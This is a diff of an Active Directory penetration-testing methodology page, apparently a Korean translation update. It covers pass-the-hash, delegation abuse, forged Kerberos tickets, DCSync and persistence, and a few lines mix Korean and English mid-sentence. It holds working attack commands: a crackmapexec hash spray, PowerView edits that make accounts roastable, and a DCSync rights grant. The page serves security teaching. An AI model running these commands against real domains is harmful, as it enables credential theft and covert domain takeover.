흥미로운 파일을 찾을 수 있는지 확인해야 합니다**. 수동으로 할 수 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 하는 경우 더더욱). +Now that you have some basic credentials you should check if you can **찾아보세요** any **AD 내부에서 공유되고 있는 흥미로운 파일들**. 수동으로 할 수도 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 한다면 더더욱 그렇습니다). -[**사용할 수 있는 도구에 대해 알아보려면 이 링크를 따르세요.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) -### NTLM 자격 증명 훔치기 +### Steal NTLM Creds -다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다**: +If you can **다른 PC나 공유에 접근할 수 있다면** you could **파일을 배치할 수 있습니다** (예: SCF 파일) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: {{#ref}} @@ -231,115 +232,134 @@ kerberoast.md ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -이 취약점은 인증된 사용자가 **도메인 컨트롤러를 손상시킬 수 있게** 했습니다. +This vulnerability allowed any authenticated user to **도메인 컨트롤러를 침해**. {{#ref}} printnightmare.md {{#endref}} -## 권한 상승: 특권 자격 증명/세션을 통한 Active Directory +## Privilege escalation on Active Directory WITH privileged credentials/session -**다음 기술을 수행하려면 일반 도메인 사용자로는 부족하며, 특별한 권한/자격 증명이 필요합니다.** +**다음 기법들은 일반 도메인 사용자만으로는 충분하지 않으며, 이러한 공격을 수행하려면 특정 권한/자격 증명이 필요합니다.** -### 해시 추출 +### Hash extraction -운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시킬 수 있었다면**.\ -그런 다음, 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\ -[**해시를 얻는 다양한 방법에 대한 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +Hopefully you have managed to **로컬 관리자 계정 일부를 탈취** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ +Then, its time to dump all the hashes in memory and locally.\ +[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### 해시 전달 +### Pass the Hash -**사용자의 해시를 얻으면**, 이를 사용하여 **사용자를 가장할 수 있습니다**.\ -해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 일입니다.\ -[**자세한 정보는 이 페이지를 읽어보세요.**](../ntlm/index.html#pass-the-hash) +**사용자의 hash를 확보하면**, 이를 사용해 해당 사용자를 **가장할 수 있습니다.**\ +해당 hash를 사용해 NTLM 인증을 수행하는 **도구**를 사용하거나, 새로운 sessionlogon을 생성하고 그 hash를 **LSASS**에 주입하여 이후 발생하는 모든 NTLM 인증에 그 hash가 사용되게 할 수 있습니다. 마지막 옵션이 mimikatz가 하는 방식입니다.\ +[**Read this page for more information.**](../ntlm/index.html#pass-the-hash) -### 해시 초과/키 전달 +### Over Pass the Hash/Pass the Key -이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는** 것을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, 이는 **NTLM 프로토콜이 비활성화되고 Kerberos만 인증 프로토콜로 허용되는 네트워크에서 특히 유용할 수 있습니다.** +This attack aims to **사용자 NTLM hash를 이용해 Kerberos 티켓을 요청하는 것**으로, 일반적인 NTLM 기반 Pass The Hash의 대안입니다. 따라서 NTLM 프로토콜이 비활성화되어 있고 인증 프로토콜로 Kerberos만 허용되는 네트워크에서 특히 **유용할 수 있습니다.** {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### 티켓 전달 +### Pass the Ticket -**티켓 전달(PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다. +In the Pass The Ticket (PTT) attack method, attackers **사용자의 인증 티켓을 훔치며**, 암호나 해시 값을 훔치는 대신 그 티켓을 사용해 사용자를 가장하여 네트워크 내 리소스와 서비스를 무단으로 접근합니다. {{#ref}} pass-the-ticket.md {{#endref}} -### 자격 증명 재사용 +### Credentials Reuse -**로컬 관리자**의 **해시** 또는 **비밀번호**가 있다면, 이를 사용하여 다른 **PC에 로컬로 로그인**해 보아야 합니다. +If you have the **hash** or **password** of a **로컬 관리자** you should try to **다른 PC에 로컬로 로그인**해 보세요. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> 이 방법은 상당히 **시끄럽고** **LAPS**가 이를 **완화**할 것입니다. +> 이는 꽤 **noisy**하며 **LAPS**가 이를 **mitigate**할 수 있다는 점을 유의하세요. -### MSSQL 남용 및 신뢰 링크 +### MSSQL Abuse & Trusted Links + +사용자가 **access MSSQL instances** 권한을 갖고 있다면, MSSQL 호스트에서 (SA로 실행 중인 경우) **명령을 실행**하거나 NetNTLM **hash**를 **탈취**하거나 심지어 **relay** **attack**을 수행할 수 있습니다.\ +또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰(trusted, database link)되고 있는 경우, 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면 **신뢰 관계를 이용해 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 체인으로 연결될 수 있으며, 결국 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\ +**데이터베이스 간의 링크는 포리스트 트러스트를 넘어 작동합니다.** -사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 이를 사용하여 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **중계** **공격**을 수행할 수 있습니다.\ -또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 사용자가 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있는 시점이 있을 수 있습니다.\ -**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.** {{#ref}} abusing-ad-mssql.md {{#endref}} -### 제약 없는 위임 +### IT asset/deployment platforms abuse + +서드파티 인벤토리 및 배포 스위트는 종종 자격 증명 및 코드 실행으로 접근할 수 있는 강력한 경로를 노출합니다. 참고: + +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + +{{#ref}} +lansweeper-security.md +{{#endref}} + +### Unconstrained Delegation + +[ADS_UF_TRUSTED_FOR_DELEGATION]() 속성을 가진 Computer 객체를 찾았고 해당 컴퓨터에 대한 도메인 권한이 있다면, 그 컴퓨터에 로그인하는 모든 사용자의 메모리에서 TGT를 덤프할 수 있습니다.\ +따라서 **Domain Admin이 해당 컴퓨터에 로그인하면**, [Pass the Ticket](pass-the-ticket.md)를 사용해 그의 TGT를 덤프하고 그를 가장할 수 있습니다.\ +constrained delegation 덕분에 **Print Server를 자동으로 침해**할 수도 있습니다(운이 좋다면 DC일 수도 있습니다). -[ADS_UF_TRUSTED_FOR_DELEGATION]() 속성을 가진 컴퓨터 객체를 찾고 해당 컴퓨터에서 도메인 권한이 있다면, 컴퓨터에 로그인하는 모든 사용자의 TGT를 메모리에서 덤프할 수 있습니다.\ -따라서, **도메인 관리자가 컴퓨터에 로그인하면**, 그의 TGT를 덤프하고 [Pass the Ticket](pass-the-ticket.md)를 사용하여 그를 가장할 수 있습니다.\ -제약된 위임 덕분에 **프린트 서버를 자동으로 손상시킬 수 있습니다** (희망적으로 DC일 것입니다). {{#ref}} unconstrained-delegation.md {{#endref}} -### 제약된 위임 +### Constrained Delegation + +사용자나 컴퓨터가 "Constrained Delegation"에 허용되어 있다면, 그 계정은 **특정 컴퓨터의 일부 서비스에 대해 어떤 사용자든지 가장하여 접근할 수 있습니다**.\ +따라서 이 사용자/컴퓨터의 **해시를 탈취**하면 (심지어 domain admins일지라도) 일부 서비스에 접근하기 위해 **어떤 사용자로도 가장할 수 있습니다**. -사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **특정 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\ -그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 특정 서비스에 접근하기 위해. {{#ref}} constrained-delegation.md {{#endref}} -### 리소스 기반 제약 위임 +### Resourced-based Constrain Delegation + +원격 컴퓨터의 Active Directory 객체에 대해 **WRITE** 권한을 가지면 **권한 상승된 코드 실행**을 획득할 수 있습니다: -원격 컴퓨터의 Active Directory 객체에 대한 **쓰기** 권한을 가지면 **상승된 권한**으로 코드 실행을 달성할 수 있습니다: {{#ref}} resource-based-constrained-delegation.md {{#endref}} -### 권한/ACL 남용 +### Permissions/ACLs Abuse + +침해된 사용자가 일부 도메인 객체에 대해 **흥미로운 권한**을 가지고 있을 수 있으며, 이는 이후에 **횡적 이동**이나 **권한 상승**을 가능하게 할 수 있습니다. -손상된 사용자는 **도메인 객체에 대한 흥미로운 권한**을 가질 수 있으며, 이는 나중에 **측면 이동**/**권한 상승**을 가능하게 할 수 있습니다. {{#ref}} acl-persistence-abuse/ {{#endref}} -### 프린터 스풀러 서비스 남용 +### Printer Spooler service abuse + +도메인 내에서 **Spool 서비스가 리스닝 중인 것을 발견**하면, 이는 **새로운 자격증명을 획득**하고 **권한을 상승**시키는 데 **악용될 수 있습니다**. -도메인 내에서 **스풀 서비스가 수신 대기 중인** 것을 발견하면, 이를 **남용하여 새로운 자격 증명을 획득하고** **권한을 상승시킬 수 있습니다**. {{#ref}} printers-spooler-service-abuse.md {{#endref}} -### 제3자 세션 남용 +### Third party sessions abuse + +**다른 사용자들이** **침해된** 기계에 **접근**하는 경우, 메모리에서 자격증명을 **수집**하거나 그들의 프로세스에 **beacon을 주입**하여 그들을 가장할 수 있습니다.\ +보통 사용자는 RDP로 시스템에 접근하므로, 타사 RDP 세션에 대해 수행할 수 있는 몇 가지 공격 방법은 다음과 같습니다: -**다른 사용자**가 **손상된** 머신에 **접근**하면, 메모리에서 **자격 증명을 수집**하고 심지어 **그들의 프로세스에 비콘을 주입**하여 그들을 가장할 수 있습니다.\ -일반적으로 사용자는 RDP를 통해 시스템에 접근하므로, 여기에서 제3자 RDP 세션에 대한 몇 가지 공격을 수행하는 방법이 있습니다: {{#ref}} rdp-sessions-abuse.md @@ -347,42 +367,45 @@ rdp-sessions-abuse.md ### LAPS -**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, 권한이 있는 사용자만 ACL을 통해 접근할 수 있습니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있으면, 다른 컴퓨터로 피벗하는 것이 가능해집니다. +**LAPS**는 도메인에 조인된 컴퓨터의 **로컬 Administrator 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화되고**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며 접근은 ACL을 통해 허가된 사용자로만 제한됩니다. 이 비밀번호들에 접근할 수 있는 충분한 권한이 있다면 다른 컴퓨터로의 피벗이 가능해집니다. + {{#ref}} laps.md {{#endref}} -### 인증서 도난 +### Certificate Theft + +침해된 기계에서 **certificate를 수집**하는 것은 환경 내부에서 권한을 상승시키는 방법이 될 수 있습니다: -**손상된 머신에서 인증서를 수집하는 것**은 환경 내에서 권한을 상승시키는 방법이 될 수 있습니다: {{#ref}} ad-certificates/certificate-theft.md {{#endref}} -### 인증서 템플릿 남용 +### Certificate Templates Abuse + +**취약한 템플릿**이 구성되어 있다면 이를 악용해 권한을 상승시킬 수 있습니다: -**취약한 템플릿**이 구성되어 있다면, 이를 남용하여 권한을 상승시킬 수 있습니다: {{#ref}} ad-certificates/domain-escalation.md {{#endref}} -## 높은 권한 계정으로의 포스트 익스플로잇 +## Post-exploitation with high privilege account -### 도메인 자격 증명 덤프 +### Dumping Domain Credentials -**도메인 관리자** 또는 더 나아가 **엔터프라이즈 관리자** 권한을 얻으면, **도메인 데이터베이스**를 **덤프**할 수 있습니다: _ntds.dit_. +한 번 **Domain Admin** 또는 더 좋은 **Enterprise Admin** 권한을 얻으면, 도메인 데이터베이스인 _ntds.dit_을 **덤프**할 수 있습니다. -[**DCSync 공격에 대한 더 많은 정보는 여기에서 확인할 수 있습니다**](dcsync.md). +[**More information about DCSync attack can be found here**](dcsync.md). -[**NTDS.dit를 훔치는 방법에 대한 더 많은 정보는 여기에서 확인할 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### 권한 상승을 위한 지속성 +### Privesc as Persistence -앞서 논의된 몇 가지 기술은 지속성에 사용될 수 있습니다.\ -예를 들어, 다음과 같이 할 수 있습니다: +앞서 논의된 일부 기법은 영속성(persistence)에도 사용될 수 있습니다.\ +예를 들어 다음과 같은 작업을 할 수 있습니다: - 사용자를 [**Kerberoast**](kerberoast.md)에 취약하게 만들기 @@ -396,96 +419,106 @@ Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING" Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- 사용자에게 [**DCSync**](#dcsync) 권한 부여하기 +- 사용자에게 [**DCSync**](#dcsync) 권한 부여 ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` -### 실버 티켓 +### Silver Ticket + +**Silver Ticket attack**은 특정 서비스에 대해 합법적인 Ticket Granting Service (TGS) 티켓을 생성하는데, 예를 들어 **PC 계정의 NTLM hash**를 사용합니다. 이 방법은 **서비스 권한에 접근**하기 위해 사용됩니다. -**실버 티켓 공격**은 특정 서비스에 대한 **합법적인 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다. {{#ref}} silver-ticket.md {{#endref}} -### 골든 티켓 +### Golden Ticket -**골든 티켓 공격**은 공격자가 Active Directory(AD) 환경에서 **krbtgt 계정의 NTLM 해시**에 접근하는 것을 포함합니다. 이 계정은 모든 **티켓 부여 티켓(TGT)**에 서명하는 데 사용되기 때문에 특별합니다. 이는 AD 네트워크 내에서 인증하는 데 필수적입니다. +**Golden Ticket attack**은 공격자가 Active Directory 환경에서 **krbtgt 계정의 NTLM hash**에 접근하는 것을 포함합니다. 이 계정은 모든 **TGT**를 서명하는 데 사용되므로 AD 네트워크에서 인증에 필수적입니다. + +공격자가 이 해시를 획득하면, 어떤 계정에 대해서도 **TGT를 생성**할 수 있습니다 (Silver ticket 공격과 유사하게). -공격자가 이 해시를 얻으면, 그들은 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다 (실버 티켓 공격). {{#ref}} golden-ticket.md {{#endref}} -### 다이아몬드 티켓 +### Diamond Ticket + +이는 일반적인 golden tickets 탐지 메커니즘을 **우회하도록 위조된 golden ticket과 유사한 티켓들**입니다. -이들은 일반적인 골든 티켓 탐지 메커니즘을 **우회하는 방식으로 위조된** 골든 티켓과 같습니다. {{#ref}} diamond-ticket.md {{#endref}} -### **인증서 계정 지속성** +### **Certificates Account Persistence** + +계정의 **certificate를 보유하거나 이를 요청할 수 있는 경우**, 사용자가 비밀번호를 변경하더라도 해당 사용자 계정에 **영속적으로 접근**할 수 있는 매우 좋은 방법입니다: -**계정의 인증서를 보유하거나 요청할 수 있는 것**은 사용자의 계정에 지속할 수 있는 매우 좋은 방법입니다 (비밀번호를 변경하더라도): {{#ref}} ad-certificates/account-persistence.md {{#endref}} -### **인증서 도메인 지속성** +### **Certificates Domain Persistence** + +**certificate를 사용하는 방법으로 도메인 내부에서 높은 권한으로 영속성**을 유지하는 것도 가능합니다: -**인증서를 사용하여 도메인 내에서 높은 권한으로 지속할 수도 있습니다:** {{#ref}} ad-certificates/domain-persistence.md {{#endref}} -### AdminSDHolder 그룹 +### AdminSDHolder Group -Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위해 설계되었지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다. +Active Directory의 **AdminSDHolder** 객체는 **Domain Admins** 및 **Enterprise Admins** 같은 **권한 있는 그룹**의 보안을 보장하기 위해 표준 **ACL**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다; 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 그 사용자는 모든 권한 있는 그룹에 대해 광범위한 제어 권한을 얻게 됩니다. 이 보안 조치는 적절히 모니터링되지 않으면 오히려 권한 남용을 초래할 수 있습니다. -[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### DSRM 자격 증명 +### DSRM Credentials + +모든 **Domain Controller (DC)** 내부에는 **로컬 관리자** 계정이 존재합니다. 해당 머신에서 관리자 권한을 얻으면, **mimikatz**를 사용해 로컬 Administrator hash를 추출할 수 있습니다. 이후에는 이 비밀번호의 사용을 **활성화**하기 위한 레지스트리 수정을 수행하여 로컬 Administrator 계정에 원격으로 접근할 수 있게 합니다. -모든 **도메인 컨트롤러(DC)** 내에는 **로컬 관리자** 계정이 존재합니다. 이러한 머신에서 관리자 권한을 얻으면, **mimikatz**를 사용하여 로컬 관리자 해시를 추출할 수 있습니다. 이후, 이 비밀번호를 **사용할 수 있도록 활성화**하기 위해 레지스트리 수정을 해야 하며, 이를 통해 로컬 관리자 계정에 원격으로 접근할 수 있습니다. {{#ref}} dsrm-credentials.md {{#endref}} -### ACL 지속성 +### ACL Persistence + +특정 도메인 객체에 대해 **특수 권한을 사용자에게 부여**하면, 해당 사용자가 **미래에 권한을 상승**할 수 있도록 할 수 있습니다. -특정 도메인 객체에 대해 **사용자에게** **특별 권한**을 부여하여 사용자가 **향후 권한을 상승시킬 수 있도록** 할 수 있습니다. {{#ref}} acl-persistence-abuse/ {{#endref}} -### 보안 설명자 +### Security Descriptors + +**Security descriptors**는 객체가 다른 객체에 대해 가지는 **권한을 저장**하는 데 사용됩니다. 개체의 security descriptor를 **작게 변경하기만 해도**, 해당 객체에 대해 특이한 권한을 얻을 수 있어, 반드시 권한 있는 그룹의 구성원이 될 필요가 없습니다. -**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다. {{#ref}} security-descriptors.md {{#endref}} -### 스켈레톤 키 +### Skeleton Key + +메모리에서 **LSASS**를 변경하여 **범용 비밀번호(skeleton key)**를 설정하면 모든 도메인 계정에 접근할 수 있게 됩니다. -**LSASS**를 메모리에서 변경하여 모든 도메인 계정에 접근할 수 있는 **유니버설 비밀번호**를 설정합니다. {{#ref}} skeleton-key.md {{#endref}} -### 사용자 정의 SSP +### Custom SSP + +[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +자신만의 **SSP**를 만들어 머신에 접근하는 데 사용되는 **credentials를 평문으로 캡처**할 수 있습니다. -[SSP(보안 지원 제공자)가 무엇인지 여기에서 알아보세요.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -자신의 **SSP**를 생성하여 머신에 접근하는 데 사용되는 **자격 증명**을 **명확한 텍스트**로 **캡처**할 수 있습니다. {{#ref}} custom-ssp.md @@ -493,80 +526,82 @@ custom-ssp.md ### DCShadow -AD에 **새 도메인 컨트롤러**를 등록하고 이를 사용하여 지정된 객체에 **속성**(SIDHistory, SPNs...)을 **푸시**합니다 **수정 사항에 대한** **로그**를 남기지 않고. **DA** 권한이 필요하며 **루트 도메인** 내에 있어야 합니다.\ -잘못된 데이터를 사용하면, 매우 불쾌한 로그가 나타날 수 있습니다. +새로운 **Domain Controller**를 AD에 등록하고 이를 사용해 지정된 객체들에 대해 (SIDHistory, SPNs...) **속성을 푸시**합니다. 이 과정은 변경에 관한 **로그를 남기지 않습니다**. DA 권한과 루트 도메인 내부 접근이 필요합니다.\ +잘못된 데이터를 사용하면 눈에 띄는 로그가 발생할 수 있다는 점에 유의하세요. + {{#ref}} dcshadow.md {{#endref}} -### LAPS 지속성 +### LAPS Persistence + +앞서 LAPS 비밀번호를 읽을 수 있는 충분한 권한이 있으면 권한 상승을 할 수 있다고 설명했습니다. 하지만 이 비밀번호들은 **영속성 유지**에도 사용할 수 있습니다.\ +참고: -이전에 **LAPS 비밀번호를 읽을 수 있는 충분한 권한**이 있을 경우 권한을 상승시키는 방법에 대해 논의했습니다. 그러나 이러한 비밀번호는 **지속성을 유지하는 데에도 사용될 수 있습니다**.\ -확인해 보세요: {{#ref}} laps.md {{#endref}} -## 포리스트 권한 상승 - 도메인 신뢰 +## Forest Privilege Escalation - Domain Trusts -Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단일 도메인을 손상시키는 것이 전체 포리스트가 손상될 수 있음을 의미합니다**. +Microsoft는 **Forest**를 보안 경계로 봅니다. 이는 **하나의 도메인을 침해하면 전체 Forest가 침해될 가능성이 있다**는 것을 의미합니다. -### 기본 정보 +### Basic Information -[**도메인 신뢰**]()는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 본질적으로 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 교환하고 유지하여 신뢰의 무결성을 보장합니다. +[**domain trust**]()는 한 **도메인**의 사용자가 다른 **도메인**의 자원에 접근할 수 있게 해주는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간 연계를 생성하여 인증 검증이 원활하게 흐르도록 합니다. 도메인들이 트러스트를 설정하면, 해당 트러스트의 무결성에 중요한 특정 **keys**를 각자의 **Domain Controllers (DCs)**에 교환 및 유지합니다. -일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려는 경우, 먼저 자신의 도메인 DC에서 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다. +일반적인 시나리오에서 사용자가 **trusted domain**의 서비스에 접근하려면, 먼저 자신의 도메인 DC로부터 **inter-realm TGT**를 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **key**로 암호화됩니다. 사용자는 이 inter-realm TGT를 **trusted domain의 DC**에 제시하여 서비스 티켓(**TGS**)을 얻습니다. trusted domain의 DC가 inter-realm TGT를 검증하면 TGS를 발급하여 사용자가 서비스에 접근할 수 있게 합니다. -**단계**: +**Steps**: -1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 것으로 프로세스가 시작됩니다. -2. 클라이언트가 성공적으로 인증되면 DC1은 새로운 TGT를 발급합니다. -3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-렐름 TGT**를 요청합니다. -4. 인터-렐름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다. -5. 클라이언트는 인터-렐름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다. -6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하려는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다. -7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다. +1. **Domain 1**의 **클라이언트 컴퓨터**가 **NTLM hash**를 사용하여 **Domain Controller (DC1)**로부터 **Ticket Granting Ticket (TGT)**를 요청합니다. +2. 클라이언트가 인증되면 DC1은 새로운 TGT를 발급합니다. +3. 클라이언트는 **Domain 2**의 자원에 접근하기 위해 DC1로부터 **inter-realm TGT**를 요청합니다. +4. inter-realm TGT는 두 도메인 간의 양방향 도메인 트러스트의 일부로 DC1과 DC2가 공유하는 **trust key**로 암호화됩니다. +5. 클라이언트는 inter-realm TGT를 **Domain 2의 Domain Controller (DC2)**에 제시합니다. +6. DC2는 공유된 trust key를 사용해 inter-realm TGT를 검증하고, 유효하면 클라이언트가 접근하려는 Domain 2 내 서버에 대한 **Ticket Granting Service (TGS)**를 발급합니다. +7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하며, 해당 TGS는 서버 계정 해시로 암호화되어 Domain 2의 서비스에 접근할 수 있게 합니다. -### 다양한 신뢰 +### Different trusts -**신뢰는 1방향 또는 2방향**일 수 있다는 점에 유의하는 것이 중요합니다. 2방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **1방향** 신뢰 관계에서는 한 도메인이 **신뢰받는** 도메인이고 다른 도메인이 **신뢰하는** 도메인입니다. 마지막 경우, **신뢰받는 도메인에서 신뢰하는 도메인 내의 리소스에만 접근할 수 있습니다**. +트러스트는 **일방향(one way)** 또는 **양방향(two ways)**이 될 수 있다는 점을 유의하세요. 양방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **일방향** 트러스트 관계에서는 한 도메인이 **trusted**이고 다른 도메인이 **trusting** 도메인입니다. 후자의 경우 **trusted 도메인에서만 trusting 도메인의 자원에 접근할 수 있습니다**. -도메인 A가 도메인 B를 신뢰하면, A는 신뢰하는 도메인이고 B는 신뢰받는 도메인입니다. 또한, **도메인 A**에서는 이것이 **아웃바운드 신뢰**가 되고, **도메인 B**에서는 **인바운드 신뢰**가 됩니다. +만약 Domain A가 Domain B를 신뢰한다면, A는 trusting 도메인이고 B는 trusted 도메인입니다. 또한 **Domain A**에서는 이것이 **Outbound trust**가 되고, **Domain B**에서는 **Inbound trust**가 됩니다. -**다양한 신뢰 관계** +**Different trusting relationships** -- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로, 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다. -- **크로스 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 크로스 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다. -- **외부 신뢰**: 이는 서로 다른 관련 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](), 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인에서 리소스에 접근하는 데 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 